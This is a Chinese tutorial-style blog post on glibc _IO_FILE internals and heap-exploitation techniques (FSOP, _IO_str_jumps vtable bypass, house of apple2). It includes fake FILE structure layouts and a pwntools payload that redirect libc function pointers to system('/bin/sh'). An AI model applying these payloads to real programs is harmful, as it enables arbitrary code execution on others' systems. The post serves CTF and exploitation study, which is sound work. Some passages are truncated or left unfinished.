首页 > 其他分享 >20220701- IO_FILE专题

20220701- IO_FILE专题

时间:2022-11-15 00:55:38浏览次数:64  
标签:fp __ file vtable FILE jumps IO 20220701

2022/07/01 IO_FILE专题

IO_FILE 相关结构体

首先我们知道内核启动的时候默认打开3个I/O设备文件,标准输入文件stdin,标准输出文件stdout,标准错误输出文件stderr,分别得到文件描述符 0, 1, 2,而这三个I/O文件的类型为指向FILE的指针,而FILE实际上就是_IO_FILE

typedef struct _IO_FILE FILE;
extern struct _IO_FILE *stdin;        /* Standard input stream.  */
extern struct _IO_FILE *stdout;        /* Standard output stream.  */
extern struct _IO_FILE *stderr;        /* Standard error output stream.  */
_IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;
_IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_;
_IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_;

其中_IO_2_1_stdin__IO_2_1_stdout__IO_2_1_stderr_定义如下

extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;

_IO_2_1_stdin__IO_2_1_stdout,_IO_2_1_stderr_都是_IO_FILE_plus结构体指针,除了这三个以外,还有一个_IO_list_all也是_IO_FILE_plus结构体指针,用来管理所有的`_IO_FILE

_IO_2_1_stdin__IO_2_1_stdout__IO_2_1_stderr__IO_list_all都是通过_IO_FILE结构体中的_chain指针相连的,而_chain指针也是一个_IO_FILE结构体指针

img

  • _IO_FILE_plus结构体的定义为:
//in libio/libioP.h
struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

_IO_FILE结构体详解

  • 首先我们来讲讲其中的_IO_FILE结构体
struct _IO_FILE {
      int _flags;
    #define _IO_file_flags _flags
 
    char* _IO_read_ptr;   /* Current read pointer */ 
    char* _IO_read_end;   /* End of get area. */
    char* _IO_read_base;  /* Start of putback+get area. */
    char* _IO_write_base; /* Start of put area. */
    char* _IO_write_ptr;  /* Current put pointer. */
    char* _IO_write_end;  /* End of put area. */
    char* _IO_buf_base;   /* Start of reserve area. */
    char* _IO_buf_end;    /* End of reserve area. */
    /* The following fields are used to support backing up and undo. */
    char *_IO_save_base; /* Pointer to start of non-current get area. */
    char *_IO_backup_base;  /* Pointer to first valid character of backup area */
    char *_IO_save_end; /* Pointer to end of non-current get area. */
 
    struct _IO_marker *_markers;
 
    struct _IO_FILE *_chain;
 
    int _fileno;
#if 0
    int _blksize;
#else
    int _flags2;
#endif
    _IO_off_t _old_offset;	/* This used to be _offset but it's too small.  */
 
#define __HAVE_COLUMN	/* temporary */
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    
    /*  char* _save_gptr;  char* _save_egptr; */
    _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

​ 进程中FILE结构通过_chain域构成一个链表,链表头部为_IO_list_all全局变量,默认情况下依次链接了stderr,stdout,stdin三个文件流,并将新建的流插入到头部,vtable虚表为_IO_file_jumps

stderr,stdout,stdin 是指针里面存储了指向_IO_2_1_xxx的地址,而_IO_2_1_xxx 是结构体)

  • 调试理解结构体里的成员

    gdb调试得出以下:

    pwndbg> fp 0x7f6e287e96a0
    $2 = {
      file = {
        _flags = -72537977,
        _IO_read_ptr = 0x7f6e287e9723 <_IO_2_1_stdout_+131> "\n",
        _IO_read_end = 0x7f6e287e9723 <_IO_2_1_stdout_+131> "\n",
        _IO_read_base = 0x7f6e287e9723 <_IO_2_1_stdout_+131> "\n",
        _IO_write_base = 0x7f6e287e9723 <_IO_2_1_stdout_+131> "\n",
        _IO_write_ptr = 0x7f6e287e9723 <_IO_2_1_stdout_+131> "\n",
        _IO_write_end = 0x7f6e287e9723 <_IO_2_1_stdout_+131> "\n",
        _IO_buf_base = 0x7f6e287e9723 <_IO_2_1_stdout_+131> "\n",
        _IO_buf_end = 0x7f6e287e9724 <_IO_2_1_stdout_+132> "",
        _IO_save_base = 0x0,
        _IO_backup_base = 0x0,
        _IO_save_end = 0x0,
        _markers = 0x0,
        _chain = 0x7f6e287e8980 <_IO_2_1_stdin_>,
        _fileno = 1,
        _flags2 = 0,
        _old_offset = -1,
        _cur_column = 0,
        _vtable_offset = 0 '\000',
        _shortbuf = "\n",
        _lock = 0x7f6e287ea7e0 <_IO_stdfile_1_lock>,
        _offset = -1,
        _codecvt = 0x0,
        _wide_data = 0x7f6e287e8880 <_IO_wide_data_1>,
        _freeres_list = 0x0,
        _freeres_buf = 0x0,
        __pad5 = 0,
        _mode = -1,
        _unused2 = '\000' <repeats 19 times>
      },
      vtable = 0x7f6e287e54a0 <_IO_file_jumps>		这不是重点,因为我们要讲的是_IO_FILE
    }
    
    

    该结构体是_IO_2_1_stdout_,我们的关注如下:

    指针 描述
    _IO_buf_base 输入输出缓冲区基地址
    _IO_buf_end 输入输出缓冲区结束地址
    _IO_write_base 输出缓冲区基地址
    _IO_write_ptr 输出缓冲区基地址
    _IO_write_end 输出缓冲区结束地址

    其中,_IO_buf_xxx是由缓冲区建立函数_IO_doallocbuf建立的。 在建立里输入输出缓冲区后,如果缓冲区作为输出缓冲区使用,会将基址址给_IO_write_base,结束地址给_IO_write_end,同时_IO_write_ptr表示为已经使用的地址。即_IO_write_base到_IO_write_ptr之间的空间是已经使用的缓冲区,_IO_write_ptr到_IO_write_end之间为剩余的输出缓冲区。

    对于别的成员,我学会就随时补上,嗯....

    结构体成员 描述
    _fileno 该_IO_file_的文件标识符
    _chain _IO_file通过_chain相连,该成员记录下一个_IO_file的地址

vtable详解

  • 对于_IO_FILE_plus 结构体中的虚表指针 vtable的结构体类型,定义如下:
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

JUMP_FIELD是一个接收两个参数的宏,前一个参数为类型名,后一个为变量名。结构体的前两个变量实际上不会被使用到,所以默认为0,其余的变量存储着不同的函数指针,在使用FILE结构体进行IO操作的过程中会通过这些函数指针调用到对应的函数。

所以这个函数表中有(24 - 5 + 1)个函数,分别完成IO相关的功能,由IO函数调用,如fwrite最终会调用__write函数,fread会调用__doallocate来分配IO缓冲区等。

  • gdb里看如下:
pwndbg> tele 0x7f6e287e54a0
00:0000│  0x7f6e287e54a0 (_IO_file_jumps) ◂— 0x0
01:0008│  0x7f6e287e54a8 (_IO_file_jumps+8) ◂— 0x0
02:0010│  0x7f6e287e54b0 (_IO_file_jumps+16) —▸ 0x7f6e2868bf50 (_IO_file_finish) ◂— endbr64 
03:0018│  0x7f6e287e54b8 (_IO_file_jumps+24) —▸ 0x7f6 e2868cd80 (_IO_file_overflow) ◂— endbr64 
04:0020│  0x7f6e287e54c0 (_IO_file_jumps+32) —▸ 0x7f6e2868ca20 (_IO_file_underflow) ◂— endbr64 
05:0028│  0x7f6e287e54c8 (_IO_file_jumps+40) —▸ 0x7f6e2868df50 (_IO_default_uflow) ◂— endbr64 
06:0030│  0x7f6e287e54d0 (_IO_file_jumps+48) —▸ 0x7f6e2868f680 (_IO_default_pbackfail) ◂— endbr64 
07:0038│  0x7f6e287e54d8 (_IO_file_jumps+56) —▸ 0x7f6e2868b5d0 (_IO_file_xsputn) ◂— endbr64 
pwndbg> 
08:0040│  0x7f6e287e54e0 (_IO_file_jumps+64) —▸ 0x7f6e2868b240 (__GI__IO_file_xsgetn) ◂— endbr64 
09:0048│  0x7f6e287e54e8 (_IO_file_jumps+72) —▸ 0x7f6e2868a860 (_IO_file_seekoff) ◂— endbr64 
0a:0050│  0x7f6e287e54f0 (_IO_file_jumps+80) —▸ 0x7f6e2868e600 (_IO_default_seekpos) ◂— endbr64 
0b:0058│  0x7f6e287e54f8 (_IO_file_jumps+88) —▸ 0x7f6e2868a530 (_IO_file_setbuf) ◂— endbr64 
0c:0060│  0x7f6e287e5500 (_IO_file_jumps+96) —▸ 0x7f6e2868a3c0 (_IO_file_sync) ◂— endbr64 
0d:0068│  0x7f6e287e5508 (_IO_file_jumps+104) —▸ 0x7f6e2867dc70 (_IO_file_doallocate) ◂— endbr64 
0e:0070│  0x7f6e287e5510 (_IO_file_jumps+112) —▸ 0x7f6e2868b5a0 (_IO_file_read) ◂— endbr64 
0f:0078│  0x7f6e287e5518 (_IO_file_jumps+120) —▸ 0x7f6e2868ae60 (_IO_file_write) ◂— endbr64 
pwndbg> 
10:0080│  0x7f6e287e5520 (_IO_file_jumps+128) —▸ 0x7f6e2868a600 (_IO_file_seek) ◂— endbr64 
11:0088│  0x7f6e287e5528 (_IO_file_jumps+136) —▸ 0x7f6e2868a520 (_IO_file_close) ◂— endbr64 
12:0090│  0x7f6e287e5530 (_IO_file_jumps+144) —▸ 0x7f6e2868ae40 (_IO_file_stat) ◂— endbr64 
13:0098│  0x7f6e287e5538 (_IO_file_jumps+152) —▸ 0x7f6e2868f810 (_IO_default_showmanyc) ◂— endbr64 
14:00a0│  0x7f6e287e5540 (_IO_file_jumps+160) —▸ 0x7f6e2868f820 (_IO_default_imbue) ◂— endbr64 

_IO_file_finish

_IO_file_overflow

_IO_file_underflow

_IO_default_uflow

_IO_default_pbackfail

_IO_file_xsputn

__GI__IO_file_xsgetn

image-20221115000724128

_IO_new_file_xsputn中,整体流程包含四个部分:

  1. 首先判断输出缓冲区还有多少剩余,如果有剩余则将目标输出数据拷贝至输出缓冲区。
  2. 如果输出缓冲区没有剩余(输出缓冲区未建立也是没有剩余)或输出缓冲区不够则调用_IO_OVERFLOW建立输出缓冲区或刷新输出缓冲区。
  3. 输出缓冲区刷新后判断剩余的目标输出数据是否超过块的size,如果超过块的size,则不通过输出缓冲区直接以块为单位,使用new_do_write输出目标数据。
  4. 如果按块输出数据后还剩下一点数据则调用_IO_default_xsputn将数据拷贝至输出缓冲区。
源码
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{ 

    _IO_size_t count = 0;
...
    ## 判断输出缓冲区还有多少空间
    else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

  ## 如果输出缓冲区有空间,则先把数据拷贝至输出缓冲区
  if (count > 0)
    {
      if (count > to_do)
  count = to_do;
  ...
      memcpy (f->_IO_write_ptr, s, count);
      f->_IO_write_ptr += count;
    ## 计算是否还有目标输出数据剩余
      s += count;
      to_do -= count;

主要功能就是判断输出缓冲区还有多少空间,若f->_IO_write_end以及f->_IO_write_ptr均为0,此时的输出缓冲区为0。

另一部分则是如果输出缓冲区如果仍有剩余空间的话,则将目标输出数据拷贝至输出缓冲区,并计算在输出缓冲区填满后,是否仍然剩余目标输出数据

待续...

_IO_file_seekoff

_IO_default_seekpos

_IO_file_setbuf

_IO_file_sync

_IO_file_doallocate

_IO_file_read

_IO_file_write

_IO_file_seek

_IO_file_close

_IO_file_stat

_IO_default_showmanyc

_IO_default_imbue

_IO_wide_data详解

  • 除了上面两个之外,还有一个_IO_wide_data 结构体

    struct _IO_wide_data
    {
          wchar_t *_IO_read_ptr;   
          wchar_t *_IO_read_end;
          wchar_t *_IO_read_base;
          wchar_t *_IO_write_base;
          wchar_t *_IO_write_ptr;
          wchar_t *_IO_write_end;   
          wchar_t *_IO_buf_base;   
          wchar_t *_IO_buf_end;   
          [...]
          const struct _IO_jump_t *_wide_vtable;
    };
    

    Roderick师傅全会了估计是,以后请教他

_IO_FIlE的利用

FSOP

前言

举个exit()函数退出的例子,当exit发生时:

函数调用链为

  • exit
    • __run_exit_handlers
      • fcloseall
        • _IO_cleanup
          • _IO_flush_all_lockp
            • _IO_OVERFLOW(fp) (指调用vtable里固定偏移的一个函数,我们可以在此对vtable进行错位)
              • _IO_new_file_overflow(即vtable里固定偏移的一个函数)

其中fp的数据类型为_IO_FILE_plus

主要原理

劫持vtable_chain,伪造IO_FILE,主要利用方式为调用IO_flush_all_lockp()函数触发。

  • IO_flush_all_lockp()函数将在以下三种情况下被调用:

    1. libc检测到内存错误,从而执行abort函数时(在glibc-2.26删除)。
    2. 程序执行exit函数时。
    3. 程序从main函数返回时。
    4. house of kiwi(调用fllush(stderr),我们要将bss段上的stderr存储内容修改)
  • bypass:

    fp->_mode = 0
    fp->_IO_write_ptr > fp->_IO_write_base
    
  • 调用过程

    如下:

  • __run_exit_handlers

    • fcloseall
      • _IO_cleanup
        • _IO_flush_all_lockp
          • _IO_OVERFLOW(fp)
            • _IO_new_file_overflow

其中_IO_OVERFLOW就是文件流对象虚表的第四项指向的内容_IO_new_file_overflow

利用

  • 因此在libc-2.23版本下可如下构造,进行FSOP
因此在libc-2.23版本下可如下构造,进行FSOP:
._chain => chunk_addr
chunk_addr
{
  file = {
    _flags = "/bin/sh\x00", //对应此结构体首地址(fp)
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1,
      ...
     _mode = 0x0, //一般不用特意设置
     _unused2 = '\000' <repeats 19 times>
  },
  vtable = heap_addr
}
heap_addr
{
  __dummy = 0x0,
  __dummy2 = 0x0,
  __finish = 0x0,
  __overflow = system_addr,
    ...
}
因此这样构造,通过_IO_OVERFLOW (fp),我们就实现了system("/bin/sh\x00")。

因此这样构造,通过_IO_OVERFLOW (fp),我们就实现了system("/bin/sh\x00")

  • 调用过程

    如下:

  • __run_exit_handlers

    • fcloseall
      • _IO_cleanup
        • _IO_flush_all_lockp
          • _IO_OVERFLOW(fp)
            • fake_IO_new_file_overflow(即system)(fp)

保护

libc-2.24加入了对虚表的检查IO_validate_vtable()IO_vtable_check(),若无法通过检查,则会报错:Fatal error: glibc detected an invalid stdio handle

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) \
  (IO_validate_vtable                                                   \
   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)   \
                 + (THIS)->_vtable_offset)))

在最终调用vtable的函数之前,内联进了IO_validate_vtable函数,其源码如下:

static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length)) //检查vtable指针是否在glibc的vtable段中。
    _IO_vtable_check ();
  return vtable;
}

(嗯...看了看该函数处于不可修改的地址区域)

如何绕过

我们要知道glibc中有一段完整的内存存放着各个vtable,其中__start___libc_IO_vtables指向第一个vtable地址_IO_helper_jumps,而__stop___libc_IO_vtables指向最后一个vtable_IO_str_chk_jumps结束的地址。若指针不在glibcvtable段,会调用_IO_vtable_check()做进一步检查,以判断程序是否使用了外部合法的vtable(重构或是动态链接库中的vtable),如果不是则报错。

我们伪造的vtableglibcvtable段中,从而得以绕过该检查。

绕过思路
  • 利用_IO_str_jumps_IO_str_overflow()函数
  • 利用_IO_str_jumps_IO_str_finish()函数
  • 利用_IO_wstr_jumps中对应的这两种函数(house of apple2)

利用_IO_str_jumps这个vtable

_IO_str_finish函数
  • _IO_str_jumps这个vtable的结构如下:
{
  __dummy = 0,
  __dummy2 = 0,
  __finish <_IO_str_finish>,
  __overflow  <__GI__IO_str_overflow>,
  __underflow  <__GI__IO_str_underflow>,
  __uflow  <__GI__IO_default_uflow>,
  __pbackfail  <__GI__IO_str_pbackfail>,
  __xsputn  <__GI__IO_default_xsputn>,
  __xsgetn  <__GI__IO_default_xsgetn>,
  __seekoff  <__GI__IO_str_seekoff>,
  __seekpos  <_IO_default_seekpos>,
  __setbuf  <_IO_default_setbuf>,
  __sync  <_IO_default_sync>,
  __doallocate  <__GI__IO_default_doallocate>,
  __read  <_IO_default_read>,
  __write  <_IO_default_write>,
  __seek  <_IO_default_seek>,
  __close  <_IO_default_sync>,
  __stat  <_IO_default_stat>,
  __showmanyc  <_IO_default_showmanyc>,
  __imbue  <_IO_default_imbue>
}
  • 我们需要关注的是_IO_str_finish函数

    为啥需要关注呢?笔者觉得理由如下:

    源码如下:

void _IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //执行函数
  fp->_IO_buf_base = NULL;
  _IO_default_finish (fp, 0);
}

​ 主要是

 (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);

其中相关的_IO_str_fields结构体与_IO_strfile_结构体的定义:

struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer;
  _IO_free_type _free_buffer;
};
 
typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;

可以看到,它使用了IO结构体中的值当作函数地址来直接调用,如果满足条件,将直接将fp->_s._free_buffer当作函数指针来调用。
首先,仍然需要绕过之前的_IO_flush_all_lokcp函数中的输出缓冲区的检查_mode<=0以及_IO_write_ptr>_IO_write_base进入到_IO_OVERFLOW中。
我们可以将vtable的地址覆盖成_IO_str_jumps-8,这样会使得_IO_str_finish函数成为了伪造的vtable地址的_IO_OVERFLOW函数(因为_IO_str_finish偏移为_IO_str_jumps0x10,而_IO_OVERFLOW0x18)。这个vtable(地址为_IO_str_jumps-8)可以绕过检查,因为它在vtable的地址段中。
构造好vtable之后,需要做的就是构造IO FILE结构体其他字段,以进入将fp->_s._free_buffer当作函数指针的调用:先构造fp->_IO_buf_base/bin/sh的地址,然后构造fp->_flags不包含_IO_USER_BUF,它的定义为#define _IO_USER_BUF 1,即fp->_flags最低位为0
最后构造fp->_s._free_buffersystem_addrone gadget即可getshell
由于libc中没有_IO_str_jump的符号,因此可以通过_IO_str_jumpsvtable中的倒数第二个表,用vtable的最后地址减去0x168定位。

也可以用如下函数进行定位:

# libc.address = libc_base
def get_IO_str_jumps():
    IO_file_jumps_addr = libc.sym['_IO_file_jumps']
    IO_str_underflow_addr = libc.sym['_IO_str_underflow']
    for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
        possible_IO_str_jumps_addr = ref - 0x20
        if possible_IO_str_jumps_addr > IO_file_jumps_addr:
            return possible_IO_str_jumps_addr
  • payload
._chain => chunk_addr
chunk_addr
{
  file = {
    _flags = 0x0,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1,
    _IO_write_end = 0x0,
    _IO_buf_base = bin_sh_addr,
      ...
      _mode = 0x0, //一般不用特意设置
      _unused2 = '\000' <repeats 19 times>
  },
  vtable = _IO_str_jumps-8 //chunk_addr + 0xd8 ~ +0xe0
}
+0xe0 ~ +0xe8 : 0x0
+0xe8 ~ +0xf0 : system_addr / one_gadget //fp->_s._free_buffer

重点是明白 哪个是存储函数调用的指针,哪个是参数

p/x &((_IO_strfile *) stdout)->_s._free_buffer
  • 调用过程:
    • __run_exit_handlers
      • fcloseall
        • _IO_cleanup
          • _IO_flush_all_lockp
            • _IO_OVERFLOW(fp) (fake_vtable)
              • _IO_str_finish
                • (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base)
_IO_str_overflow函数
int _IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      _IO_size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf
        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); // 调用了fp->_s._allocate_buffer函数指针
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);
 
      _IO_setb (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
 
      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
    }
    }
 
  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}

和之前利用_IO_str_finish的思路差不多,可以看到其中调用了fp->_s._allocate_buffer函数指针,其参数rdinew_size,因此,我们将_s._allocate_buffer改为system的地址,new_size改为/bin/sh的地址,又new_size = 2 * old_blen + 100,也就是new_size = 2 * _IO_blen (fp) + 100

可以找到宏定义:#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base),因此new_size = 2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100,故我们可以使_IO_buf_base = 0_IO_buf_end = (bin_sh_addr - 100) // 2,当然还不能忘了需要绕过_IO_flush_all_lokcp函数中的输出缓冲区的检查_mode<=0以及_IO_write_ptr>_IO_write_base才能进入到_IO_OVERFLOW中,故令_IO_write_ptr = 0xffffffffffffffff_IO_write_base = 0x0即可。
最终可按如下布局fake IO_FILE

._chain => chunk_addr
chunk_addr
{
  file = {
    _flags = 0x0,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = (bin_sh_addr - 100) // 2,
      ...
      _mode = 0x0, //一般不用特意设置
      _unused2 = '\000' <repeats 19 times>
  },
  vtable = _IO_str_jumps //chunk_addr + 0xd8 ~ +0xe0
}
+0xe0 ~ +0xe8 : system_addr / one_gadget //fp->_s._allocate_buffer

参考payload(劫持的stdout):

new_size = libc_base + next(libc.search(b'/bin/sh'))
payload = p64(0xfbad2084)
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base
payload += p64(0xffffffffffffffff) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64((new_size - 100) // 2) # _IO_buf_end
payload += p64(0) * 4
payload += p64(libc_base + libc.sym["_IO_2_1_stdin_"])
payload += p64(1) + p64((1<<64) - 1)
payload += p64(0) + p64(libc_base + 0x3ed8c0) #lock
payload += p64((1<<64) - 1) + p64(0)
payload += p64(libc_base + 0x3eb8c0)
payload += p64(0) * 6
payload += p64(libc_base + get_IO_str_jumps_offset()) # _IO_str_jumps
payload += p64(libc_base + libc.sym["system"])
  • 调用过程:
    • __run_exit_handlers
      • fcloseall
        • _IO_cleanup
          • _IO_flush_all_lockp
            • _IO_OVERFLOW(fp) (fake_vtable)
              • _IO_str_overflow
                • (*((IO_strfile *) fp)->s._allocate_buffer) (new_size)

以上两个vtable的落幕

libc-2.28及以后,由于不再使用偏移找_s._allocate_buffer_s._free_buffer,而是直接_s._allocate_buffer变成了malloc,_s._free_buffer变成了free,所以FSOP也失效了。(指_IO_str_jumps / _IO_str_overflow 失效)

house of apple2(新的FSOP)

基本原理

正常stderr/stdin/stdout以_IO_file_overflow调用为例,glibc中调用的代码片段分析如下:

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
 
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
 
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))       //检查vtable的合法性

IO_validate_vtable函数负责检查vtable的合法性,会判断vtable的地址是不是在一个合法的区间。如果vtable的地址不合法,程序将会异常终止。

那么我们可不可以查找一个vtable,它的vtable里没有IO_validate_vtable呢?答案是找得到!

观察struct _IO_wide_data结构体,发现其对应有一个_wide_vtable成员

//in the stdio.h/_IO_wide_data
struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;    /* Current read pointer */
  wchar_t *_IO_read_end;    /* End of get area. */
  wchar_t *_IO_read_base;    /* Start of putback+get area. */
  wchar_t *_IO_write_base;    /* Start of put area. */
  wchar_t *_IO_write_ptr;    /* Current put pointer. */
  wchar_t *_IO_write_end;    /* End of put area. */
  wchar_t *_IO_buf_base;    /* Start of reserve area. */
  wchar_t *_IO_buf_end;        /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;    /* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;    /* Pointer to first valid character of
                   backup area */
  wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */
 
  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;
  wchar_t _shortbuf[1];
  const struct _IO_jump_t *_wide_vtable;
};

在调用_wide_vtable虚表里面的函数时,同样是使用宏去调用,仍然以vtable->_overflow调用为例,所用到的宏依次为:

#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
 
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
 
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
 
#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

可以看到,在调用_wide_vtable里面的成员函数指针时,没有关于vtable的合法性检查

那么我们怎么查找属于_wide_vtable的vtable呢?

vscode打开输入_wide_vtable然后**查找所有引用**

注意到该_wide_vtable是属于_IO_wide_data,所以我们不能用_IO_str_jumps/_IO_str_overflow,我们就需要去找一个类似与_wide_vtable的vtable(默认为_IO_wfile_jumps,其他为_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap)

利用思路

_IO_wfile_overflow

fp的设置如下:

  • _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有两个空格(就是的第2个二进制位为0或者第3个或者第)(这个揭示了_flags会作为rdi)

  • vtable设置为

    • _IO_wfile_jumps (libc.sym['_IO_wfile_jumps'])

    • _IO_wfile_jumps_mmap

    • _IO_wfile_jumps_maybe_mmap

      以上vtable加减偏移,使其能成功_IO_wfile_overflow`即可

      (我看demo 调试得2.27正常是call vtable + 0x68,从0x60到0x68要为调用地址,即_IO_wfile_sync)

  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A

  • _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0

  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0

  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B

  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

函数调用链如下:

_IO_wfile_overflow
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)
_IO_wfile_underflow_mmap

fp的设置如下:

  • _flags设置为~4,如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有个空格
  • vtable设置为_IO_wfile_jumps_mmap地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap即可
  • _IO_read_ptr < _IO_read_end,即满足*(fp + 8) < *(fp + 0x10)
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8)
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  • _wide_data->_IO_save_base设置为0或者合法的可被free的地址,即满足*(A + 0x40) = 0
